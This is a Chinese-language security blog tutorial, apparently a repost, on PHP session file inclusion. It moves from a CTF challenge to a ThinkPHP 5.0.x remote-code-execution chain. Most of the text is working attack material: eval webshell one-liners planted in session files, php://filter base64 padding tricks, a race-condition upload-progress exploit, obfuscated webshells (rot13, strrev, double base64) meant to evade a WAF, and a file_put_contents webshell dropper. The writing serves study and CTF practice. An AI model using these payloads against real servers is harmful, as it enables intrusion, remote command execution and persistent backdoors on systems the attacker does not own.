Session 文件包含漏洞

渗透技巧 2年前 (2022) admin
1,329 0 0
前言

在某次偶然打CTF时,遇到Session文件包含,但打了个一塌糊涂。借此来学习一下,更想知道在实战中会不会出现该漏洞。

session 基础知识

在看题目之前,先看一下session的基础知识点。

  • 存储

可通过phpinfo查看session.save_path的值,即存储位置。

Session 文件包含漏洞

这里用的是phpstudy,常见的存储目录如下

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/xxx/tmp/sess_PHPSESSID
/xxxx/tmp/sessions/sess_PHPSESSID
  • 命名

那这个文件是怎么命名的呢?文件名格式为sess_[phpsessid]。而phpsessid来源于请求的cookie字段。

Session 文件包含漏洞

  • session处理

php在处理session的时候,主要是session.serialize_handler的配置。

session.serialize_handler = php

默认也是以这种方式处理的。如:

<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>

POST传入username=cseroad

Session 文件包含漏洞

可以看到只对用户名的内容cseroad进行了序列化存储,即s:7:”cseroad” 没有对变量名做任何处理,即username。两者以|分割,并以;结尾。还有一种处理方式。即session.serialize_handler=php_serialize,这种方式在php 5.5.4 之后被启用。可以在php.ini或者代码中进行设置。如

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>

Session 文件包含漏洞

a:1表示$_SESSION数组中有1个元素,花括号里面的内容即为传入POST参数经过序列化后的值。可以看到对整个session信息包括变量名、变量值都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储。

还有一种处理方式是session.serialize_handler=php_binary 直接抄用一实例

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_POST['username'];
?>

序列化的结果为:

#sessionsessionsessionsessionsessions:7:"cseroad";

#为键名长度对应ASCII的值,35位长度对应的ASCII值为#,最后一位s指的是字符串类型; sessionsessionsessionsessionsessions为键名; s:7:"cseroad";为传入POST参数经过序列化后的值。还需要注意的一点的是以上代码都执行了session_start(),与此对应的配置项为session.auto_start,即当session.auto_start为1时,php就会自动初始化Session,不需要再配置session_start()。

session文件包含

基于以上基础,我们看一个文件包含的demo。

<?php
session_start();
error_reporting(0);

if (isset($_POST['username'])) {
$_SESSION['username'] = $_POST['username'];
}


if (isset($_GET['file'])) {
include($_GET['file']);
}

?>

将username赋值为一句话木马。

Session 文件包含漏洞

再利用file参数存在的文件包含漏洞包含该sessionid文件。并执行系统命令。

Session 文件包含漏洞

这是非常理想的漏洞条件,实际中代码中会对用户的会话信息做一定的处理后才进行存储。

  • 如对用户session信息进行编码或加密

  • 如代码没有session_start()进行初始化操作,服务器也就无法生成session文件

session Base64Encode

比如这次CTF遇到的这道题目:

<?php
session_start();
error_reporting(0);
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<title></title>
<meta name="keywords" content="" />
<meta name="description" content="" />

<form action="ctf.php" method="post">
名字: <input type="text" name="name">
<input type="submit" value="提交">
</form>

<?php

if (isset($_POST['name'])) {
$_SESSION['name'] = base64_encode($_POST['name']);
}

if (!empty($_SESSION['name'])) {
echo "<div class='res'><h3>success!<br><br>name:".base64_decode($_SESSION['name']);
}


if (isset($_GET['file'])) {
include($_GET['file']);
}

?>

明显看到session存储的name值经过了base64的编码。此时我们再次尝试传入恶意代码时,文件包含也就无法利用了。

Session 文件包含漏洞

既然base64编码进去,那我们解码再包含不就可以了。php://filter这时候就可以用上了。

file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_12d9k7c564prh3kvgbki673sc2

Session 文件包含漏洞

但是结果并没有执行。如果看一下报错信息,会发现是base64解码时出现了错误。这里就涉及到了base64解码的原理。 在base64编码时,每4个字节一组组成一个24位的数据流,解码为3个字节。即4个字节每6组解码为3个字节每8组。如果遇到不属于base64编码表里的字符,会跳过这些字符,将合法的字符拼接后解码而sessionid的内容为:name|s:length(str):"base64_encode"; 那么这里面排除不在base64其中的字符,如:|::,再固定必须的字符长度。只需要让name|s:length(str):"base64_encode这一部分可以正常解码,也就是这部分数据长度需要满足4的整数倍。计算一下,最好name|s:length(str):"base64_encode 的长度为12。而name和s就有5个长度,str字符串程度最好是三位数,凑够偶数。这样就有8个字符长度。再在base64_encode取4个字符即可。

故payload如下:

name=qdwqdwqwqewssdqeqrcetmqftmqfaxtamqwqftmqm<?php eval($_POST['cseroad']);?>

Session 文件包含漏洞

再次文件包含

POST /ctf.php?file=php://filter/convert.base64-decode/resource=../tmp/tmp/sess_111111111111 HTTP/1.1
Host: 10.211.55.31
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

cseroad=system('whoami');

Session 文件包含漏洞

No session_start()

当一个网站存在文件包含漏洞,但是并没有用户会话。即代码层未输入session_start()。可借助Session Upload Progress,因为session.upload_progress.name 是用户自定义的,POST提交PHP_SESSION_UPLOAD_PROGRESS字段,只要上传包里带上这个键,PHP就会自动启用Session。同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。

当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。

编辑一个上传的数据包。

<!doctype html>
<html>
<body>
<form action="http://10.211.55.31/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>

并抓取该数据包,自定义修改cookie和设置PHP_SESSION_UPLOAD_PROGRESS的值。

Session 文件包含漏洞

同时构造文件包含的数据包,来包含自定义的sessionid。

Session 文件包含漏洞

利用条件竞争,先intruder上传的数据包,再intruder包含的数据包。

Session 文件包含漏洞

同时根目录生成了a.php。

Session 文件包含漏洞

这样看来,利用这个思路文件包含也可以getshell。

拓展

在某些时候session的文件包含同样具有实战意义,比如thinkphp rce命令在受到WAF防护的情况下,利用session文件包含就是一个不错的思路。思路来源于 https://xz.aliyun.com/t/6106 在本地上采用thinkphp 5.0.15版本复现该漏洞,并重点放在session文件包含上。该rce漏洞是因为控制_method参数调用了任意的Request类的任意方法。payload如下:

_method=__construct&method=get&filter[]=system&get[]=whoami

当存在WAF的时候,利用session文件包含或许是绕过WAF的一种方式。修改payload为

_method=__construct&method=get&filter[]=thinkSession::set&get[]=<?php%20echo(`whoami`)?>

这样payload就写进了sess_id文件。

Session 文件包含漏洞

再调用include包含session

_method=__construct&method=get&filter[]=think__include_file&get[]=......tmptmpsess_111111111&

Session 文件包含漏洞

当WAF拦截上面某些关键字的时候,还可以尝试base64编码。比如下面这个一句话木马

<?php @$c=str_rot13('nffreg');$c($_REQUEST['cseroad']);?>

base64编码后为

PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+

我们知道base64解码时容易无法解码,需要满足长度为4的倍数情况下才可以正常解码。所以think|a:5:{s:80:"xx 该字符串之前需要添加两个字符。满足4的倍数,正好长度为12。payload为:

_method=__construct&method=get&filter[]=thinkSession::set&get[]=ab%50%44%39%77%61%48%41%67%51%43%52%6a%50%58%4e%30%63%6c%39%79%62%33%51%78%4d%79%67%6e%62%6d%5a%6d%63%6d%56%6e%4a%79%6b%37%4a%47%4d%6f%4a%46%39%53%52%56%46%56%52%56%4e%55%57%79%64%6a%63%32%56%79%62%32%46%6b%4a%31%30%70%4f%7a%38%2b

再次利用php://filter包含。

_method=__construct&method=get&filter[]=think__include_file&get[]=php://filter/convert.base64-decode/resource=......tmptmpsess_333333&

Session 文件包含漏洞

这时候发挥的空间就大多了。可以再增加一层base64编码来绕过WAF

<?php @$c=str_rot13('nffreg');$c(base64_decode($_REQUEST['cseroad']));?>

这样在命令执行的时候传入base64编码之后的值即可。

Session 文件包含漏洞

还可以进一步使用strrev()函数反转伪协议字符串。payload 为

_method=__construct&method=get&&filter[]=strrev&filter[]=think__include_file&get[]=333333_ssespmtpmt......=ecruoser/edoced-46esab.trevnoc/retlif//:php&

也可以使用file_put_contents()函数,将一句话木马写进文件

<?php file_put_contents('123.php',base64_decode("PD9waHAgQCRjPXN0cl9yb3QxMygnbmZmcmVnJyk7JGMoJF9SRVFVRVNUWydjc2Vyb2FkJ10pOz8+"));?>

这时候base64编码之后

PD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4=

这个长度已经是三位数了,计算序列化后base64编码前的字符串长度为11位,那么只需要补齐一位就可以了。

Session 文件包含漏洞

所以这时候的payload为

_method=__construct&method=get&filter[]=thinkSession::set&get[]=aPD9waHAgZmlsZV9wdXRfY29udGVudHMoJzEyMy5waHAnLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnUUNSalBYTjBjbDl5YjNReE15Z25ibVptY21Wbkp5azdKR01vSkY5U1JWRlZSVk5VV3lkamMyVnliMkZrSjEwcE96OCsiKSk7Pz4%2b

再次包含之后,123.php文件就成功写入了public目录下。

Session 文件包含漏洞

访问webshell正常执行。

Session 文件包含漏洞

总结

通过一道CTF题目熟悉了session 文件包含的原理,也扩展到实战绕过WAF的一个利用场景。不得不说 https://www.anquanke.com/post/id/201177#h2-8 这篇文章写得太棒了。

参考资料

https://www.anquanke.com/post/id/201177#h2-8 

https://xz.aliyun.com/t/10534

原文始发于微信公众号(Wings安全团队):Session 文件包含漏洞

版权声明:admin 发表于 2022年5月17日 下午5:31。
转载请注明:Session 文件包含漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...